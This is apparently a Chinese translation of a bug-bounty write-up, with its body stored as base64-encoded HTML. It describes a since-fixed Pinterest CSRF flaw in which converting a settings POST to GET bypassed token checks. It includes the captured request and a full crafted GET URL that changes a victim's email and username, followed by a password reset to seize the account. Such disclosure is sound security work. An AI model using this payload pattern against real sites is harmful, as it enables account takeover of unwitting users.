价值2400美金的“简单”CSRF漏洞

PGRpdiBjbGFzcz0ic2ltZGl0b3ItYm9keSI+PHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlcjsiPjxpbWcgYWx0PSIyMi5wbmciIHNyYz0iaHR0cHM6Ly9ub3NlYy5vcmcvYXZhdGFyL3VwbG9hZHMvYXR0YWNoL2ltYWdlL2EwMjJhNzU5ODBmZDY3N2U5MWU3ZjA1Y2U0YWE0OTI2LzIyLnBuZyIgd2lkdGg9IjU5MSIgLz48YnIvPjwvcD48cD7ov5nmmK/miJHlvoBCdWdjcm93ZOS4ilBpbnRlcmVzdO+8iOiRl+WQjeeFp+eJh+WtmOWCqOWxleekuue9keerme+8iea8j+a0nuaCrOi1j+mhueebruaJgOS4iuaKpeeahOS4gOS4qua8j+a0nuOAguebruWJje+8jFBpbnRlcmVzdOWuieWFqOWboumYn+W3sue7j+S/ruWkjeWujOaIkO+8jOW5tuWFgeiuuOaIkeWPkeW4g+a8j+a0nuivpuaDheOAgjwvcD48cD7ov5nmmK/kuIDkuKrnroDljZXnmoRDU1JG5ryP5rSe77yM5L2G5Y+v5Lul5L+u5pS55Lu75L2V55So5oi355qE55S15a2Q6YKu5Lu2SUTlkoznlKjmiLflkI3vvIzku47ogIzlr7zoh7TluJDmiLfooqvmlLvlh7vogIXmjqXnrqHjgILmraTmvI/mtJ7miYDpgKDmiJDnmoTlvbHlk43pnZ7luLjkuKXph43vvIzlm6DkuLpQaW50ZXJlc3TnmoTmr4/mnIjmtLvot4PnlKjmiLfovr4yLjXkur/jgII8L3A+PHA+5rOo5oSP77ya5Lul5LiL5omA5pyJ5biQ5oi35Z2H5Li65rWL6K+V5biQ5oi3PC9wPjxoMj7mvI/mtJ7lnKjlk6rvvJ88L2gyPjxwPuaIkeWcqOa1j+iniOKAnDxhIGhyZWY9Imh0dHBzOi8vd3d3LnBpbnRlcmVzdC5jb20iPmh0dHBzOi8vd3d3LnBpbnRlcmVzdC5jb208L2E+4oCd5pe277yM5rOo5oSP5YiwQ1NSRuS7pOeJjOaYr+mAmui/h0hUVFDor7fmsYLlpLTigJxYLUNTUkZUb2tlbuKAneS8oOmAkueahOOAguWboOatpO+8jOS4uuS6hua1i+ivleivt+axguS4reaJgOS9v+eUqOeahENTUkbku6TniYzvvIzmiJHmipPlj5bkuoblnKjmtY/op4jpobXpnaLml7bmiYDlj5Hlh7rnmoTmn5DkuKpQT1NU6K+35rGC77yM5bm25a+56L+Z5LiqSFRUUOivt+axguWBmuS6huS6m+iuuOS/ruaUue+8jOWOn+ivt+axguWmguS4i+OAgjwvcD48cHJlPlBPU1QmbmJzcDsvX25nanMvcmVzb3VyY2UvVXNlclNldHRpbmdzUmVzb3VyY2UvdXBkYXRlLyZuYnNwO0hUVFAvMS4xCkhvc3Q6Jm5ic3A7d3d3LnBpbnRlcmVzdC5jb20KQ29udGVudC1UeXBlOiZuYnNwO2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZApYLUNTUkZUb2tlbjombmJzcDs8Q1NSRiZuYnNwO1Rva2VuPgrigKbigKYK4oCm4oCmCjxQT1NUJm5ic3A7UGFyYW1ldGVycz48L3ByZT48b2w+PGxpPummluWFiO+8jOaIkeWwhuS4iumdoui/meS4qlBPU1Tor7fmsYLkuK3nmoTigJx4LWNzcmYgdG9rZW7igJ3or7fmsYLlpLTliKDpmaTkuobvvIznhLblkI7lj5HpgIHvvIzmiJHnq4vpqazlsLHmlLbliLDkuobkuIDkuKrplJnor6/lk43lupTvvIzlhoXlrrnkuLo8Y29kZT4vcmVzb3VyY2UvVXNlclNldHRpbmdzUmVzb3VyY2UvdXBkYXRlLyDmsqHmnInlnKg456eS5YaF5a6M5oiQPC9jb2RlPu+8jOi/meaEj+WRs+edgENTUkbku6TniYzpqozor4HkuI3pgJrov4fjgII8L2xpPjxsaT7nhLblkI7miJHlsIZQT1NU6K+35rGC5pS55Li6R0VU77yM5YaN5qyh5Y+R6YCB5LqG6K+35rGC77yI6L+Z5qyh5Lmf5rKh5pyJ5rKh5pyJ4oCcWC1DU1JGVG9rZW7igJ3or7fmsYLlpLTvvInvvIzov5nmrKHmiJHlvpfliLDkuobmraPluLjnmoTlk43lupTigJwyMDAgT0vigJ3jgII8L2xpPjwvb2w+PHA+5LuO5LiK5oiR5Lus5Y+v5Lul5b6X55+l77yM5bCGUE9TVOivt+axgui9rOaNouS4ukdFVOivt+axguaXtu+8jOacjeWKoeWZqOS4jeS8muWOu+mqjOivgUNTUkbku6TniYzjgII8L3A+PHA+5rOo5oSP77ya6L+Z5piv5LiA5LiqQ1NSRueahOW9seWTjeiMg+WbtOW+iOW5v++8jOS/ruWkjeWJjeeahOWkp+WkmuaVsOe9keermeivt+axgumDveS8muWPl+atpOW9seWTjeOAgjwvcD48aDI+5biQ5oi35o6l566h77yaPC9oMj48cD7nlLHkuo7miJHku47kuIrkuIDmraXlvpfliLDkuobkuIDkuKrln7rkuo5HRVTnmoRDU1JG77yM5omA5Lul5oiR5Lus5o6l5LiL5Y676ZyA6KaB5YGa55qE5bCx5piv5Yib5bu65LiA5Liq5aaC5LiL5omA56S655qE6ZO+5o6l77yI5Y+v5Lul5L2/55SoYnVycHN1aXRl5Lit55qE4oCcY2hhbmdlIHJlcXVlc3QgbWV0aG9k4oCd5p2l5Yib5bu65q2k6ZO+5o6l77yJ77yaPC9wPjxwcmU+aHR0cHM6Ly93d3cucGludGVyZXN0LmNvbS9fbmdqcy9yZXNvdXJjZS9Vc2VyU2V0dGluZ3NSZXNvdXJjZS91cGRhdGUvP3NvdXJjZV91cmw9JTJGc2V0dGluZ3MlMkYmZGF0YT0lN0IlMjJvcHRpb25zJTIyJTNBJTdCJTIyaW1wcmVzc3VtX3VybCUyMiUzQW51bGwlMkMlMjJsYXN0X25hbWUlMjIlM0ElMjJkdW1teSUyMiUyQyUyMmN1c3RvbV9nZW5kZXIlMjIlM0FudWxsJTJDJTIybG9jYWxlJTIyJTNBJTIyZW4tVVMlMjIlMkMlMjJoYXNfcGFzc3dvcmQlMjIlM0F0cnVlJTJDJTIyZW1haWxfc2V0dGluZ3MlMjIlM0ElMjJFdmVyeXRoaW5nKyUyOGV4Y2VwdCtlbWFpbHMreW91JTI3dmUrdHVybmVkK29mZiUyOSUyMiUyQyUyMm5ld3Nfc2V0dGluZ3MlMjIlM0ElMjJBY3Rpdml0eStmcm9tK290aGVyK3Blb3BsZStvbitQaW50ZXJlc3QlMjIlMkMlMjJpZCUyMiUzQSUyMiUyMiUyQyUyMmlzX3dyaXRlX2Jhbm5lZCUyMiUzQWZhbHNlJTJDJTIyZmlyc3RfbmFtZSUyMiUzQSUyMmR1bW15dXNlciUyMiUyQyUyMnB1c2hfc2V0dGluZ3MlMjIlM0ElMjJFdmVyeXRoaW5nKyUyOGV4Y2VwdCtwdXNoK3lvdSUyN3ZlK3R1cm5lZCtvZmYlMjklMjIlMkMlMjJwZXJzb25hbGl6ZV9mcm9tX29mZnNpdGVfYnJvd3NpbmclMjIlM0F0cnVlJTJDJTIyZmFjZWJvb2tfdGltZWxpbmVfZW5hYmxlZCUyMiUzQWZhbHNlJTJDJTIyZW1haWxfY2hhbmdpbmdfdG8lMjIlM0FudWxsJTJDJTIycGVyc29uYWxpemVfbnV4X2Zyb21fb2Zmc2l0ZV9icm93c2luZyUyMiUzQWZhbHNlJTJDJTIyaXNfdGFzdGVtYWtlciUyMiUzQWZhbHNlJTJDJTIydHlwZSUyMiUzQSUyMnVzZXJfc2V0dGluZ3MlMjIlMkMlMjJlbWFpbCUyMiUzQSUyMmFueXRlc3RlbWFpbCU0MHVzZXIuY29tJTIyJTJDJTIyd2Vic2l0ZV91cmwlMjIlM0ElMjIlMjIlMkMlMjJsb2NhdGlvbiUyMiUzQSUyMiUyMiUyQyUyMnVzZXJuYW1lJTIyJTNBJTIyZHVtbXl1c2VyJTIyJTJDJTIycGZ5X3ByZWZlcmVuY2UlMjIlM0F0cnVlJTJDJTIyZmFjZWJvb2tfcHVibGlzaF9zdHJlYW1fZW5hYmxlZCUyMiUzQWZhbHNlJTJDJTIyZW1haWxfYm91bmNlZCUyMiUzQWZhbHNlJTJDJTIyaXNfcGFydG5lciUyMiUzQW51bGwlMkMlMjJhZHNfY3VzdG9taXplX2Zyb21fY29udmVyc2lvbiUyMiUzQXRydWUlMkMlMjJhZGRpdGlvbmFsX3dlYnNpdGVfdXJscyUyMiUzQSU1QiU1RCUyQyUyMmFib3V0JTIyJTNBJTIydGVzdCUyMiUyQyUyMmdlbmRlciUyMiUzQSUyMm1hbGUlMjIlMkMlMjJhZ2UlMjIlM0FudWxsJTJDJTIyZXhjbHVkZV9mcm9tX3NlYXJjaCUyMiUzQWZhbHNlJTJDJTIyYmlydGhkYXRlJTIyJTNBbnVsbCUyQyUyMnNob3dfaW1wcmVzc3VtJTIyJTNBZmFsc2UlMkMlMjJlbWFpbF9iaXpfc2V0dGluZ3MlMjIlM0ElMjJFdmVyeXRoaW5nKyUyOGluY2x1ZGVzK2Fubm91bmNlbWVudHMlMkMrZXhwZXJ0K3RpcHMlMkMrY3JlYXRpdmUraWRlYXMlMkMrYW5kK21vcmUlMjklMjIlMkMlMjJjb3VudHJ5JTIyJTNBJTIySU4lMjIlMkMlMjJoaWRlX2Zyb21fbmV3cyUyMiUzQWZhbHNlJTJDJTIyY29sbGFib3JhdGl2ZV9ib2FyZHMlMjIlM0ElNUIlNUQlN0QlMkMlMjJjb250ZXh0JTIyJTNBJTdCJTdEJTdEPC9wcmU+PHA+5b2T55So5oi35Y2V5Ye75LiK6L+w6ZO+5o6l5pe277yM5YW255So5oi35ZCN5ZKM55S15a2Q6YKu5Lu2SUTliIbliKvkvJrooqvmm7TmlLnkuLrigJxkdW1teXVzZXLigJ3lkozigJxhbnl0ZXN0ZWVtYWlsQHVzZXIuY29t4oCd77yI5YW25Lit55S15a2Q6YKu5Lu2SUTigJxhbnl0ZXN0ZWVtYWlsQHVzZXIuY29t4oCd5piv5Zyo5oiR55qE5o6n5Yi25LiL77yJ44CC5L2g5Lmf5Y+v5Lul5Zyo5LiK6L+w6ZO+5o6l55yL5YiwPGNvZGU+ZW1haWwlMjIlM0ElMjJhbnl0ZXN0ZW1haWwlNDB1c2VyLmNvbTwvY29kZT7lkow8Y29kZT51c2VybmFtZSUyMiUzQSUyMmR1bW15dXNlcjwvY29kZT48L3A+PHA+Q1NSRuaUu+WHu+aIkOWKn+WQju+8jOaIkemAmui/h+S7peS4i+mTvuaOpeWwseiDvemHjee9ruW4kOaIt+Wvhuegge+8mjwvcD48cHJlPmh0dHBzOi8vd3d3LnBpbnRlcmVzdC5jb20vcGFzc3dvcmQvcmVzZXQvPC9wcmU+PHA+5oiR5bCG55S15a2Q6YKu5Lu2SUTigJxhbnl0ZXN0ZWVtYWlsQHVzZXIuY29t4oCd6L6T5YWl6L+b5Y6777yM5Y+R6YCB57uZ5pyN5Yqh5Zmo77yM54S25ZCO5oiR5bCx5Lya5LuOUGludGVyZXN05pS25Yiw5LqG5LiA5bCB55S15a2Q6YKu5Lu277yM6YeM6Z2i5pyJ5LiA5Liq5a+G56CB6YeN572u6ZO+5o6l77yI4oCcYW55dGVzdGVlbWFpbEB1c2VyLmNvbeKAneS7o+ihqOaIkeS7rOS4iuS4gOatpemAmui/h0NTUkbpnZ7ms5Xkv67mlLnlrozmiJDnmoTnlKjmiLfnmoTnlLXlrZDpgq7ku7ZpZO+8ieOAguacgOWQjuaIkeS9v+eUqOi/meS4quWvhueggemHjee9rumTvuaOpemHjee9ruWvhuegge+8jOW5tuiDveaIkOWKn+eZu+W9leWIsOeUqOaIt+eahOW4kOaIt+OAgjwvcD48cD7mnIDlkI7vvIzmiJHov5jmmK/opoHmhJ/osKJQaW50ZXJlc3Tlronlhajlm6LpmJ/lv6vpgJ/lj43ppojvvIzlubblhYHorrjmiJHlhazlvIDmvI/mtJ7or6bmg4XjgII8L3A+PHByZT7mnKzmlofnlLHnmb3luL3msYfmlbTnkIblubbnv7vor5HvvIzkuI3ku6Pooajnmb3luL3msYfku7vkvZXop4Lngrnlkoznq4vlnLoK5p2l5rqQ77yaaHR0cDovL2luZm9zZWNmbGFzaC5jb20vMjAxOS8wMS8wNS9ob3ctaS1jb3VsZC1oYXZlLXRha2VuLW92ZXItYW55LXBpbnRlcmVzdC1hY2NvdW50LzwvcHJlPgogJm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7ICZuYnNwOyAmbmJzcDs8L2Rpdj48cD48YnIvPjwvcD4=